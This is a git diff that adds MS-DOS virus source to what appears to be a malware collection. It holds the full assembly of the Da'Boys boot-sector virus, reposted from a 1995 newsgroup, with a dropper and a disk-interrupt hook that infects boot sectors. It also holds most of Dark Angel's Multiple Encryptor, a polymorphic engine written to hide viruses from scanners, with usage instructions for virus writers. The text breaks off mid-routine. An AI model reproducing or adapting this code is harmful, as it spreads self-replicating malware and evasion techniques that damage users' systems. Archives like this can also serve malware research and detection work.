it as end of file +cont: mov si,512 + div si ; AX = sector number + ; (relative to start of FAT) + ; DX = offset in sector AX +header: inc ax ; Increment AX to account for + ret ; boot record + +counter: dw 0 + + dw 842h ; Attribute + ; Block device + ; DOS 3 OPEN/CLOSE removable + ; media calls supported + ; Generic IOCTL call supported + ; Supports 32 bit sectors + dw offset main ; Strategy routine + dw offset rts ; Interrupt routine (rtf) + db 7fh ; Number of subunits supported + ; by this driver. Wow, lookit + ; it -- it's so large and juicy + +; Parameter block format: +; 0 WORD Segment of environment +; 2 DWORD pointer to command line +; 6 DWORD pointer to 1st default FCB +;10 DWORD pointer to 2nd default FCB +param: dw 0,80h,?,5ch,?,6ch,? + +bpb_buf: db 32 dup(?) +f_name: db 80 dup(?) + +;--------The End. +dir_2 ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.daboys.asm b/MSDOS/Virus.MSDOS.Unknown.daboys.asm new file mode 100644 index 00000000..944aed7d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.daboys.asm @@ -0,0 +1,302 @@ +From smtp Fri Mar 24 16:17 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST +Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500 +Date: Fri, 24 Mar 1995 16:21:26 -0500 +From: Eric Kilby +Content-Length: 6924 +Content-Type: text +Message-Id: <199503242121.QAA30764@lynx.dac.neu.edu> +To: joshuaw@pobox.jwu.edu +Subject: (fwd) Re: Da'boys viurs, new? +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail +From: yojimbo@crl.com (Douglas Mauldin) +Newsgroups: alt.comp.virus +Subject: Re: Da'boys viurs, new? +Date: 23 Mar 1995 23:25:53 -0800 +Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest] +Lines: 276 +Message-ID: <3kts61$1a3@crl9.crl.com> +References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com> +NNTP-Posting-Host: crl9.crl.com +X-Newsreader: TIN [version 1.2 PL2] + +;: does anyone know what this virus does? how dangerous is it +;: and how do i remove it from my boot sector if the disk is not +;: a bootable one? + +;From THe QUaRaNTiNE archives: Da'Boys Source- +;Enjoy... + +cseg segment para public 'code' +da_boys proc near +assume cs:cseg + +;----------------------------------------------------------------------------- + +.186 +TRUE equ 001h +FALSE equ 000h + +;----------------------------------------------------------------------------- + +;option bytes used + +COM4_OFF equ TRUE ; 3 bytes +DA_BOYS_TEXT equ TRUE ; 6 bytes + +;----------------------------------------------------------------------------- + +ADDR_MUL equ 004h +BIOS_INT_13 equ 0c6h +BOOT_INT equ 019h +BOOT_OFFSET equ 07c00h +COM4_OFFSET equ 00406h +COM_OFFSET equ 00100h +DISK_INT equ 013h +DOS_GET_INT equ 03500h +DOS_INT equ 021h +DOS_SET_INT equ 02500h +FIRST_SECTOR equ 00001h +INITIAL_BX equ 00078h +LOW_CODE equ 0021dh +NEW_INT_13_LOOP equ 0cdh +READ_A_SECTOR equ 00201h +RETURN_NEAR equ 0c3h +SECTOR_SIZE equ 00200h +TERMINATE_W_ERR equ 04c00h +TWO_BYTES equ 002h +VIRGIN_INT_13_B equ 007b4h +WRITE_A_SECTOR equ 00301h + +;----------------------------------------------------------------------------- + +io_seg segment at 00070h + org 00000h +io_sys_loads_at label word +io_seg ends + +;----------------------------------------------------------------------------- + +bios_seg segment at 0f000h + org 09315h +original_int_13 label word +bios_seg ends + +;----------------------------------------------------------------------------- + + org COM_OFFSET +com_code: + +;----------------------------------------------------------------------------- + +dropper proc near + xor ax,ax + mov ds,ax + lds dx,dword ptr ds:[VIRGIN_INT_13_B] + mov ax,DOS_SET_INT+BIOS_INT_13 + int DOS_INT + mov dx,offset interrupt_13+LOW_CODE-offset old_jz + xor ax,ax + mov ds,ax + mov ax,DOS_SET_INT+DISK_INT + int DOS_INT + mov di,LOW_CODE + mov si,offset old_jz + push ds + pop es + call move_to_boot + mov ax,READ_A_SECTOR + mov cx,FIRST_SECTOR + mov dx,00180h + mov bx,offset buffer + push cs + pop es + int DISK_INT +already_set: mov ax,TERMINATE_W_ERR + int DOS_INT +dropper endp + + +;----------------------------------------------------------------------------- + + org 00048h+COM_OFFSET + call initialize + +;----------------------------------------------------------------------------- + + org 000ebh+COM_OFFSET +old_jz: jz old_code + +;----------------------------------------------------------------------------- + + org 00edh+COM_OFFSET + +;----------------------------------------------------------------------------- + +error: jmp error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET +move_to_low: mov si,offset old_jz+BOOT_OFFSET-COM_OFFSET + xor ax,ax +move_to_boot: mov cx,offset jmp_old_int_13-offset old_jz+1 + pushf + cld + rep movs byte ptr es:[di],cs:[si] + popf + ret + +;----------------------------------------------------------------------------- + +old_code: mov ax,word ptr ds:[bx+01ah] + dec ax + dec ax + mov di,BOOT_OFFSET+049h + mov bl,byte ptr ds:[di-03ch] + xor bh,bh + mul bx + add ax,word ptr ds:[di] + adc dx,word ptr ds:[di+002h] + mov bx,00700h + mov cl,003h +old_loop: pusha + call more_old_code + popa + jc error + add ax,0001h + adc dx,00h + add bx,word ptr ds:[di-03eh] + loop old_loop + mov ch,byte ptr ds:[di-034h] + mov dl,byte ptr ds:[di-025h] + mov bx,word ptr ds:[di] + mov ax,word ptr ds:[di+002h] + jmp far ptr io_sys_loads_at + +;----------------------------------------------------------------------------- + +initialize: mov bx,INITIAL_BX + mov di,LOW_CODE + push ss + pop ds + jmp short set_interrupts + +;----------------------------------------------------------------------------- + +error_will_jmp: mov bx,BOOT_OFFSET + IF DA_BOYS_TEXT + db 'DA',027h,'BOYS' + ELSE + push bx + ENDIF + mov ax,00100h + mov dx,08000h +load_from_disk: mov cx,ax + mov ax,READ_A_SECTOR + xchg ch,cl + xchg dh,dl + int DISK_INT + ret + +;----------------------------------------------------------------------------- + + org 00160h+COM_OFFSET + +;----------------------------------------------------------------------------- + +more_old_code: mov si,BOOT_OFFSET+018h + cmp dx,word ptr ds:[si] + jnb stc_return + div word ptr ds:[si] + inc dl + mov ch,dl + xor dx,dx + IF COM4_OFF + mov word ptr ds:[COM4_OFFSET],dx + ENDIF + div word ptr ds:[si+002h] + mov dh,byte ptr ds:[si+00ch] + shl ah,006h + or ah,ch + jmp short load_from_disk +stc_return: stc + ret + +;----------------------------------------------------------------------------- + + org 0181h+COM_OFFSET + ret + +;----------------------------------------------------------------------------- + +restart_it: int BOOT_INT + +;----------------------------------------------------------------------------- + +set_interrupts: cmp word ptr ds:[di],ax + jne is_resident + mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax + xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax + mov word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax + mov ax,offset interrupt_13+LOW_CODE-offset old_jz + mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax + xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax + mov word ptr ds:[BIOS_INT_13*ADDR_MUL],ax +is_resident: jmp move_to_low + +;----------------------------------------------------------------------------- + +interrupt_13 proc far + cmp ah,high(READ_A_SECTOR) + jne jmp_old_int_13 + cmp cx,FIRST_SECTOR + jne jmp_old_int_13 + cmp dh,cl + ja jmp_old_int_13 + pusha + int BIOS_INT_13 + jc not_boot_sect + mov ax,0efe8h + xchg word ptr es:[bx+048h],ax + cmp ax,078bbh + jne not_boot_sect + mov di,bx + add di,offset old_jz-COM_OFFSET + cmp bh,high(BOOT_OFFSET) + pushf + jne no_key_press + mov byte ptr es:[di+00ch],RETURN_NEAR + pusha + call near ptr hit_any_key + popa +no_key_press: mov ax,WRITE_A_SECTOR + mov si,LOW_CODE + call move_to_boot + inc cx + int BIOS_INT_13 + popf + je restart_it +not_boot_sect: popa +interrupt_13 endp + +;----------------------------------------------------------------------------- + + org 001e5h+COM_OFFSET +jmp_old_int_13: jmp far ptr original_int_13 + +;----------------------------------------------------------------------------- + +buffer db SECTOR_SIZE dup (0) + +;----------------------------------------------------------------------------- + + org 07cedh-LOW_CODE+offset old_jz +hit_any_key label word + +;----------------------------------------------------------------------------- + +da_boys endp +cseg ends +end com_code + + diff --git a/MSDOS/Virus.MSDOS.Unknown.dame.asm b/MSDOS/Virus.MSDOS.Unknown.dame.asm new file mode 100644 index 00000000..c3863dbb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dame.asm @@ -0,0 +1,1555 @@ +comment # + + Dark Angel's Multiple Encryptor + Version 0.91 + By Dark Angel of Phalcon/Skism + + This source may be freely distributed. Modifications are + encouraged and modified redistribution is allowed provided + this notice and the revision history to date are not altered. + You are free to append to the revision history and update the + usage information. + + Welcome to the source code for Dark Angel's Multiple Encryptor. + I, Dark Angel, will be your host for this short excursion through + a pretty nifty encryptor. + + DAME 0.90 (1574 bytes) + ~~~~ ~~~~ ~~~~~~~~~~~~ + Initial release. + + DAME 0.91 (1960 bytes) + ~~~~ ~~~~ ~~~~~~~~~~~~ + Source code commented. + + The user no longer needs to call the encryption routine manually; + the routine calls it automatically. This makes DAME a bit more + "user friendly." + + Garbling with two pointer registers simultaneously, i.e. [bx+di+offset] + is now supported. + + Added "double-reference" encryptions. Example: + mov ax,[bx+3212] + xor ax,3213 + mov [bx+3212],ax + + There is now a bitflag option to generate a decryptor which will transfer + control to the buffer on a paragraph boundary. + + There is now a 1% chance that no encryption will be encoded when + the "do_encrypt1" routine is called. Of course, null effect + encryptors may still be generated. + + garble_jmpcond is much more robust. It can now put valid instructions + between the conditional jump and the target of the jump. Therefore, + there is no longer a multitude of JZ $+2's and the like. Instead, they + are replaced by JZ $+4, XOR BX,BX, for example. + + The register tracker is cleared after the loop is completed. This makes + sense, since the registers are no longer needed. This also allows for the + manipulation of those used registers in the garbling after the loop is + completed. + + Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register + MOVes added. Memory PUSHes and POPs are now supported. + + The maximum nesting value is now the variable _maxnest, which can range + from 0 to MAXNEST. _maxnest is determined randomly at runtime. This makes + the decryption routines a bit more interesting. _nest is also cleared more + times during the run so that variability is continuous throughout. + + Short decryptor option added. This is automatically used when generating + the encryptor so the encryptor will always be of minimal length. + + More alignments are now possible. This makes the initial values of the + registers more flexible. + + BUG FIXES: + + BP is now preserved on exit + + Prefetch queue flushed on backwards encryption; 386+ hangs eliminated. + See routine named "clear_PIQ" + + Loopnz routines had possibility of not working properly; instruction + eliminated. + + NOTES: + + I forgot to give credit to the person from whom I stole the random number + routines. I took them from the routine embedded in TPE 1.x (I misremember + the version number). Many thanks to Masud Khafir! + + USAGE: + + ON ENTRY: + ax = flags + bit 15 : Use two registers for pointer : 0 = no, 1 = yes + bit 14 : Align size : 0 = word, 1 = dword + bit 13 : Encryption direction : 0 = forwards, 1 = backwards + bit 12 : Counter direction : 0 = forwards, 1 = backwards + bit 11 : Counter register used : 0 = no, 1 = yes + bit 10 : Temporary storage for double reference + bit 9 : Unused + bit 8 : Unused + bit 7 : Unused + bit 6 : Unused + bit 5 : Unused + bit 4 : Unused + bit 3 : return control on paragraph boundary : 1 = yes, 0 = no + bit 2 : short decryptor : 1 = yes, 0 = no (implies no garbling) + bit 1 : garble : 1 = yes, 0 = no + bit 0 : SS = DS = CS : 1 = yes, 0 = no + bx = start decrypt in carrier file + cx = encrypt length + dx = start encrypt + si = buffer to put decryption routine + di = buffer to put encryption routine + + ds = cs on entry + es = cs on entry + + RETURNS: + cx = decryption routine length + DF cleared + all other registers are preserved. + The RADIX is set to 16d. + + NOTES: + + rnd_init_seed is _not_ called by DAME. The user must explicitly call it. + + The buffer containing the routine to be encrypted should be 20 bytes + larger than the size of the routine. This allows padding to work. + + The decryption routine buffer should be rather large to accomodate the + large decryptors which may be generated. + + The encryption routine buffer need not be very large; 80h bytes should + suffice. 90d bytes is probably enough, but this value is untested. +# + +.radix 10h + +ifndef vars + vars = 2 +endif + +if not vars eq 1 ; if (vars != 1) + +_ax = 0 +_cx = 1 +_dx = 2 +_bx = 3 +_sp = 4 +_bp = 5 +_si = 6 +_di = 7 + +_es = 8 +_cs = 9 +_ss = 0a +_ds = 0bh + +; The constant MAXNEST determines the maximum possible level of nesting +; possible in any generated routine. If the value is too large, then +; recursion problems will cause a stack overflow and the program will +; crash. So don't be too greedy. 0Ah is a safe value to use for non- +; resident viruses. Use smaller values for resident viruses. +ifndef MAXNEST ; User may define MAXNEST prior to including + MAXNEST = 0a ; the DAME source code. The user's value will +endif ; then take precedence + +rnd_init_seed: + push dx cx bx + mov ah,2C ; get time + int 21 + + in al,40 ; port 40h, 8253 timer 0 clock + mov ah,al + in al,40 ; port 40h, 8253 timer 0 clock + xor ax,cx + xor dx,ax + jmp short rnd_get_loop_done +get_rand: + push dx cx bx + in al,40 ; get from timer 0 clock + db 5 ; add ax, xxxx +rnd_get_patch1 dw 0 + db 0BA ; mov dx, xxxx +rnd_get_patch2 dw 0 + mov cx,7 + +rnd_get_loop: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_get_loop_loc + inc al +rnd_get_loop_loc: + loop rnd_get_loop + +rnd_get_loop_done: + mov rnd_get_patch1,ax + mov rnd_get_patch2,dx + mov al,dl + pop bx cx dx + retn + +reg_table1: + ; reg1 reg2 mod/00/rm This is used to handle memory addressing + db _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx] + db _bp, 84, 10000110b ; if (reg2 == 84) + db _di, 84, 10000101b ; reg2 = NULL; + db _si, 84, 10000100b + + db _bp, _di, 10000011b + db _bp, _si, 10000010b + db _bx, _di, 10000001b + db _bx, _si, 10000000b + db _di, _bp, 10000011b + db _si, _bp, 10000010b + db _di, _bx, 10000001b + db _si, _bx, 10000000b + +aligntable db 3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks + +redo_dame: + pop di bp si dx cx bx ax +dame: ; Dark Angel's Multiple Encryptor + cld + push ax bx cx dx si bp di + call _dame + pop di + push cx di + call di + pop di cx bp si dx bx bx ax + ret + +_dame: ; set up initial values of the variables + cld + push ax + + mov ax,offset _encryptpointer + xchg ax,di ; save the pointer to the + stosw ; encryption routine buffer + xchg si,ax ; also save the pointer to + stosw ; the decryption routine + ; buffer in the same manner + stosw + + xchg ax,dx ; starting offset of + stosw ; encryption + xchg ax,bx ; starting offset of + stosw ; decryption routine + + xchg cx,dx ; dx = encrypt size + + xor ax,ax + mov cx,(endclear1 - beginclear1) / 2; clear additional data + rep stosw ; area + + call get_rand ; get a random number + and ax,not 0f ; clear user-defined bits + + pop cx ; cx = bitmask + xor cx,ax ; randomize top bits + + call get_rand_bx ; get a random number + and bx,7 ; and lookup in the table + mov al,byte ptr [bx+aligntable] ; for a random rounding size + cbw + add dx,ax ; round the encryption + not ax ; size to next word, dword, + and dx,ax ; etc. + + mov ax,dx ; save the new encryption + stosw ; length (_encrypt_length) + + shr ax,1 ; convert to words + test ch,40 ; encrypting double wordly? + jz word_encryption ; nope, only wordly encryption + shr ax,1 ; convert to double words +word_encryption: ; all the worldly encryption + test ch,10 ; shall do thee no good, my + jnz counter_backwards ; child, lest you repent for + neg ax ; the sins of those who would +counter_backwards: ; bring harm unto others + stosw ; save _counter_value + push dx ; Save rounded length + + call get_rand ; get a random value for the + stosw ; encryption value + ; (_decrypt_value) + pop ax ; get rounded encryption length + ; in bytes + test ch,20 ; is the encryption to run + jnz encrypt_forwards ; forwards or backwards? + neg ax ; Adjust for forwards +encrypt_forwards: + xor bx,bx ; Assume pointer_value2 = 0 + + test ch,80 ; Dual pointer registers? + jz no_dual + call get_rand_bx + sub ax,bx +no_dual:stosw ; Save the pointers to the + xchg ax,bx ; decryption (_pointer_value1 + stosw ; and _pointer_value2) + +; The following lines determine the registers that go with each function. +; There are a maximum of four variable registers in each generated +; encryption/decryption routine pair -- the counter, two pointer registers, +; and an encryption value register. Only one pointer register need be present +; in the pair; the other three registers are present only if they are needed. + +s0: call clear_used_regs + mov di,offset _counter_reg + mov al,84 ; Assume no counter register + test ch,8 ; Using a counter register? + jz s1 + call get_rand ; get a random initial value + mov _pointer_value1,ax ; for the pointer register + call get_another ; get a counter register +s1: stosb ; Store the counter register + + xchg ax,dx + + mov al,84 ; Assume no encryption register + call one_in_two ; 50% change of having an + js s2 ; encryption register + ; Note: This merely serves as + ; an extra register and may or + ; may not be used as the + ; encryption register. + call get_another ; get a register to serve as +s2: stosb ; the encryption register + + cmp ax,dx ; normalise counter/encryption + ja s3 ; register pair so that the + xchg ax,dx ; smaller one is always in the +s3: mov ah,dl ; high byte + cmp ax,305 ; both BX and BP used? + jz s0 ; then try again + cmp ax,607 ; both SI and DI used? + jz s0 ; try once more + +s4: mov si,offset reg_table1 ; Use the table + mov ax,3 ; Assume one pointer register + test ch,80 ; Using two registers? + jz use_one_pointer_reg + add si,4*3 ; Go to two register table + add al,4 ; Then use appropriate mask +use_one_pointer_reg: + call get_rand_bx ; Get a random value + and bx,ax ; Apply mask to it + add si,bx ; Adjust table offset + add bx,bx ; Double the mask + add si,bx ; Now table offset is right + lodsw ; Get the random register pair + mov bx,ax ; Check if the register in the + and bx,7 ; low byte is already used + cmp byte ptr [bx+_used_regs],0 + jnz s4 ; If so, try again + mov bl,ah ; Otherwise, check if there is + or bl,bl ; a register in the high byte + js s5 ; If not, we are done + cmp byte ptr [bx+_used_regs],0 ; Otherwise, check if it is + jnz s4 ; already used +s5: stosw ; Store _pointer_reg1, + movsb ; _pointer_reg2, and + ; _pointer_rm +calculate_maxnest: + call get_rand ; Random value for _maxnest + and al,0f ; from 0 to MAXNEST + cmp al,MAXNEST ; Is it too large? + ja calculate_maxnest ; If so, try again + stosb ; Otherwise, we have _maxnest + + call clear_used_regs ; mark no registers used +encode_setup: ; encode setup portion + mov di,_decryptpointer ; (pre-loop) of the routines + call twogarble ; start by doing some garbling + ; on the decryption routine + mov si,offset _counter_reg ; now move the initial + push si ; values into each variable +encode_setup_get_another: ; register -- encode them in a + call get_rand_bx ; random order for further + ; variability + and bx,3 ; get a random register to en- + mov al,[si+bx] ; code, i.e. counter, pointer, + cbw ; or encryption value register + test al,80 ; is it already encoded? + jnz encode_setup_get_another ; then get another register + + or byte ptr [bx+_counter_reg],80 ; mark it encoded in both the + mov si,ax ; local and + inc byte ptr [si+_used_regs] ; master areas + + add bx,bx ; convert to word offset + mov dx,word ptr [bx+_counter_value] ; find value to set the + ; register to + mov _nest,0 ; clear the current nest count + call mov_reg_xxxx ; and encode decryption routine + ; instruction + call twogarble ; garble it some more + call swap_decrypt_encrypt ; now work on the encryption + ; routine + push cx ; save the current bitmap + and cl,not 7 ; encode short routines only + call _mov_reg_xxxx ; encode the encryption routine + ; instruction + pop cx ; restore bitmap + + mov _encryptpointer,di ; return attention to the + ; decryption routine + pop si + mov dx,4 +encode_setup_check_if_done: ; check if all the variables + ; have been encoded + lodsb ; get the variable + test al,80 ; is it encoded? + jz encode_setup ; nope, so continue encoding + dec dx ; else check the next variable + jnz encode_setup_check_if_done ; loop upwards + + mov si,offset _encryptpointer ; Save the addresses of the + mov di,offset _loopstartencrypt ; beginning of the loop in + movsw ; the encryption and decryption + movsw ; routines + +; Encode the encryption/decryption part of loop + mov _relocate_amt,0 ; reset relocation amount + call do_encrypt1 ; encode encryption + + test ch,40 ; dword encryption? + jz dont_encrypt2 ; nope, skip + + mov _relocate_amt,2 ; handle next word to encrypt + call do_encrypt1 ; and encrypt! +dont_encrypt2: +; Now we are finished encoding the decryption part of the loop. All that +; remains is to encode the loop instruction, garble some more, and patch +; the memory manipulation instructions so they encrypt/decrypt the proper +; memory locations. + mov bx,offset _loopstartencrypt ; first work on the encryption + push cx ; save the bitmap + and cl,not 7 ; disable garbling/big routines + call encodejmp ; encode the jmp instruction + pop cx ; restore the bitmap + + mov ax,0c3fc ; cld, ret ; encode return instruction + stosw ; in the encryption routine + + mov si,offset _encrypt_relocator ; now fix the memory + mov di,_start_encrypt ; manipulation instructions + + push cx ; cx is not auto-preserved + call relocate ; fix address references + pop cx ; restore cx + + mov bx,offset _loopstartdecrypt ; Now work on decryption + call encodejmp ; Encode the jmp instruction + push di ; Save the current pointer + call clear_used_regs ; Mark all registers unused + pop di ; Restore the pointer + call twogarble ; Garble some more + test cl,8 ; Paragraph alignment on + jnz align_paragraph ; entry to virus? + test ch,20 ; If it is a backwards + jz no_clear_prefetch ; decryption, then flush the + call clear_PIQ ; prefetch queue (for 386+) +no_clear_prefetch: ; Curse the PIQ!!!!! + call twogarble ; Garble: the final chapter + jmp short PIQ_done +align_paragraph: + mov dx,di ; Get current pointer location + sub dx,_decryptpointer2 ; Calculate offset when control + add dx,_start_decrypt ; is transfered to the carrier + inc dx ; Adjust for the JMP SHORT + inc dx + neg dx + and dx,0f ; Align on the next paragraph + cmp dl,10-2 ; Do we need to JMP? + jnz $+7 ; Yes, do it now + test ch,20 ; Otherwise, check if we need + jz PIQ_done ; to clear the prefetch anyway + call clear_PIQ_jmp_short ; Encode the JMP SHORT +PIQ_done: + mov _decryptpointer,di + + mov si,offset _decrypt_relocator ; Calculate relocation amount + sub di,_decryptpointer2 + add di,_start_decrypt +relocate: + test ch,20 ; Encrypting forwards or + jz do_encrypt_backwards ; backwards? + add di,_encrypt_length ; Backwards is /<0oI_ +do_encrypt_backwards: ; uh huh uh huh uh huh + sub di,_pointer_value1 ; Calculate relocation amount + sub di,_pointer_value2 + mov cx,word ptr [si-2] ; Get relocation count + jcxz exit_relocate ; Exit if nothing to do + xchg ax,di ; Otherwise we be in business +relocate_loop: ; Here we go, yo + xchg ax,di + lodsw ; Get address to relocate + xchg ax,di + add [di],ax ; Relocate mah arse! + loop relocate_loop ; Do it again 7 times +exit_relocate: ; ('cause that makes 8) + mov di,_decryptpointer ; Calculate the decryption + mov cx,di ; routine size to pass + sub cx,_decryptpointer2 ; back to the caller + ret + +encodejmp: + mov di,word ptr [bx+_encryptpointer-_loopstartencrypt] + + push bx + mov _nest,0 ; Reset nest count + mov al,_pointer_reg1 ; Get the pointer register + and ax,7 ; Mask out any modifications + mov dx,2 ; Assume word encryption + test ch,40 ; Word or Dword? + jz update_pointer1 + shl dx,1 ; Adjust for Dword encryption +update_pointer1: + test ch,20 ; Forwards or backwards? + jz update_pointer2 + neg dx ; Adjust for backwards +update_pointer2: + test ch,80 ; Are there two pointers? + jz update_pointer_now ; Continue only if so + + sar dx,1 ; Halve the add value + push ax ; Save register to add + call add_reg_xxxx ; Add to first register + mov al,_pointer_reg2 + and ax,7 ; Add to the second pointer + call add_reg_xxxx ; register + pop bx + test ch,8 ; Using a counter register? + jnz update_pointer_done ; If not, continue this + + push bx ; Save first register + xchg ax,dx ; Move second register to DX + call get_another ; Get new register regX + call mov_reg_reg ; MOV regX, _pointer_reg2 + pop dx ; Restore first register + call add_reg_reg ; ADD regX, _pointer_reg1 + call clear_reg ; Clear the temp register + jmp short update_pointer_done ; Skip adjustment of pointer + ; register (already done) +update_pointer_now: + call add_reg_xxxx ; Adjust pointer register +update_pointer_done: + mov dl,75 ; Assume JNZ + + mov al,_counter_reg ; Is there a counter register? + and ax,7 + cmp al,_sp + jz do_jnz + + push dx ; Save JNZ + mov dx,1 ; Assume adjustment of one + + test ch,10 ; Check counter direction + jz go_counter_forwards ; If forwards, increment the + ; counter + cmp al,_cx ; Check if the counter is CX + jnz regular ; If not, then decrement the + ; counter and continue + call one_in_two ; Otherwise, there is a 50% + js regular ; chance of using a LOOP + + pop dx + mov dl,0e2 ; let us encode the LOOP + jmp short do_jnz + +regular:neg dx +go_counter_forwards: + call add_reg_xxxx ; Adjust counter register + pop dx +do_jnz: pop bx + mov ax,[bx] ; Calculate value to JNZ/LOOP + sub ax,di ; back + dec ax + dec ax + xchg ah,al ; Value is in AL + mov al,dl ; jnz + + or ah,ah ; Value >= 128? If so, it is + js jmplocation_okay ; impossible to JNZ/LOOP there + ; due to stupid 8086 limitation + pop ax ax ; Take return locations off + jmp redo_dame ; the stack and encode again +jmplocation_okay: + stosw ; Encode JNZ/LOOP instruction + mov word ptr [bx+_encryptpointer-_loopstartencrypt],di + ret ; Save current location + +encryption: +; This routine encodes the instruction which actually manipulates the memory +; location pointed to by the pointer register. + and ch,not 4 ; Default = no double reference + call one_in_two ; But there is a 50% chance of + js not_double_reference ; using a double reference + or ch,4 ; Yes, we are indeed using it +not_double_reference: + mov di,_decryptpointer ; Set the registers to work + mov bp,offset _decrypt_relocate_num ; with the decryption routine + call twogarble ; Insert some null instructions + + xor ax,ax ; Get the value for the rm + mov al,_pointer_rm ; field corresponding to the + ; pointer register/s used + call choose_routine ; Get random decryption type + call go_next ; to DX, BX, SI + push si dx si dx ; Save crypt value/register + ; and crypt pointer +;; mov _nest,0 ; not needed - choose_routine does it + test ch,4 + jz not_double_reference1 ; Double reference? + + xchg ax,dx ; Pointer register/s to dx + call get_another ; Unused register to AX (reg1) + call mov_reg_reg ; MOV reg1,[pointer] + mov _kludge,dx ; Store the pointer register +not_double_reference1: + pop dx si ; Restore decryption pointer + call handle_jmp_table ; Encode decryption routine + push bx ; Save routine that was used + call twogarble ; Garble some more for fun + + test ch,4 + jz not_double_reference2 ; Double reference? + + xchg ax,dx ; reg1 to dx + mov ax,_kludge ; Restore pointer + push ax ; Save pointer + call mov_reg_reg ; MOV [pointer],reg1 + call clear_reg_dx ; Return reg1 to free pool + pop ax ; Restore pointer +not_double_reference2: + mov bp,offset _encrypt_relocate_num ; Set the registers to work + call swap_decrypt_encrypt ; with the encryption routine + + pop bx dx si ; Restore crypt value/register + call go_next ; Convert to encryption table + jmp short finish_encryption ; and encode the encryption + ; corresponding to the + ; decryption +do_encrypt1: ; Perform encryption on a word + call playencrypt ; Alter encryption value + call get_rand ; Have a tiny chance + cmp ax,6 ; (1% chance) of not + jb playencrypt ; encrypting at all + call encryption ; Encrypt! +playencrypt: ; Update the encryption value + mov di,_decryptpointer + call twogarble + + mov al,_encrypt_reg ; Encryption register used? + and ax,7 + cmp al,4 + jz swap_decrypt_encrypt + + call get_rand_bx ; 75% chance of altering the + cmp bl,0c0 ; encryption value register + ja swap_decrypt_encrypt ; Exit if nothing is to occur + + call choose_routine ; Select a method of updating + call handle_jmp_table_nogarble ; Encode the decryption + call swap_decrypt_encrypt ; Now work on encryption +finish_encryption: + push cx ; Save current bitmask + and cl,not 7 ; Turn off garbling/mo routines + call [bx+si+1] ; Encode the same routine for + ; the encryption + pop cx ; Restore the bitmask + mov _encryptpointer,di + ret + +choose_routine: + mov _nest,0 ; Reset recursion counter + call one_in_two ; 50% chance of using an + js get_used_register ; already used register as + ; an update value + call get_rand_bx ; Get random number as the + ; update value + mov si,offset oneregtable ; Choose the update routine + ; from this table + jmp short continue_choose_routine ; Saves one byte over + ; xchg dx,bx / ret +get_used_register: +; This routine returns, in DX, a register whose value is known at the current +; point in the encryption/decryption routines. SI is loaded with the offset +; of the appropriate table. The routine destroys BX. + call get_rand_bx ; Get a random number + and bx,7 ; Convert to a register (0-7) + cmp bl,_sp ; Make sure it isn't SP; that + jz get_used_register ; is always considered used + cmp byte ptr [bx+_used_regs],0 ; Check if the register is + jz get_used_register ; currently in use + mov si,offset tworegtable ; Use routine from this table +continue_choose_routine: + xchg dx,bx ; Move value to dx + ret ; and quit + +swap_decrypt_encrypt: + mov _decryptpointer,di ; save current pointer + push ax + mov al,_maxnest ; disable garbling + mov _nest,al + pop ax + mov di,_encryptpointer ; replace with encryption + ret ; pointer + +go_next: +; Upon entry, SI points to a dispatch table. This routine calculates the +; address of the next table and sets SI to that value. + push ax + lodsb ; Get mask byte + cbw ; Convert it to a word + add si,ax ; Add it to the current + pop ax ; location (table+1) + inc si ; Add two more to adjust + inc si ; for the mask + ret ; (mask = size - 3) + +clear_used_regs: + xor ax,ax ; Mark registers unused + mov di,offset _used_regs ; Alter _used_regs table + stosw + stosw + inc ax ; Mark SP used + stosw + dec ax + stosw + ret + +get_another: ; Get an unused register + call get_rand ; Get a random number + and ax,7 ; convert to a register +; cmp al,_sp +; jz get_another + mov si,ax + cmp [si+_used_regs],0 ; Check if used already + jnz get_another ; Yes, try again + inc [si+_used_regs] ; Otherwise mark the register + ret ; used and return + +clear_reg_dx: ; Mark the register in DX + xchg ax,dx ; unused +clear_reg: ; Mark the register in AX + mov si,ax ; unused + mov byte ptr [si+_used_regs],0 + ret + +free_regs: +; This checks for any free registers and sets the zero flag if there are. + push ax cx di + mov di,offset _used_regs + mov cx,8 + xor ax,ax + repne scasb + pop di cx ax + ret + +one_in_two: ; Gives 50% chance of + push ax ; something happening + call get_rand ; Get a random number + or ax,ax ; Sign flag set 50% of the + pop ax ; time + ret + +get_rand_bx: ; Get a random number to BX + xchg ax,bx ; Save AX + call get_rand ; Get a random number + xchg ax,bx ; Restore AX, set BX to the +return: ; random number + ret + +garble_onebyte: +; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc. + xchg ax,dx ; Get the random number in AX + and al,7 ; Convert to table offset + mov bx,offset onebytetable ; Table of random bytes + xlat ; Get the byte + stosb ; and encode it + ret + +garble_jmpcond: +; Encode a random short conditional or unconditional JMP instruction. The +; target of the JMP is an unspecified distance away. Valid instructions +; take up the space between the JMP and the target. + xchg ax,dx ; Random number to AX + and ax,0f ; Convert to a random JMP + or al,70 ; instruction + stosw ; Encode it + push di ; Save current location + call garble ; May need to check if too large + mov ax,di ; Get current location + pop bx ; Restore pointer to the JMP + sub ax,bx ; Calculate the offset + mov byte ptr [bx-1], al ; Put it 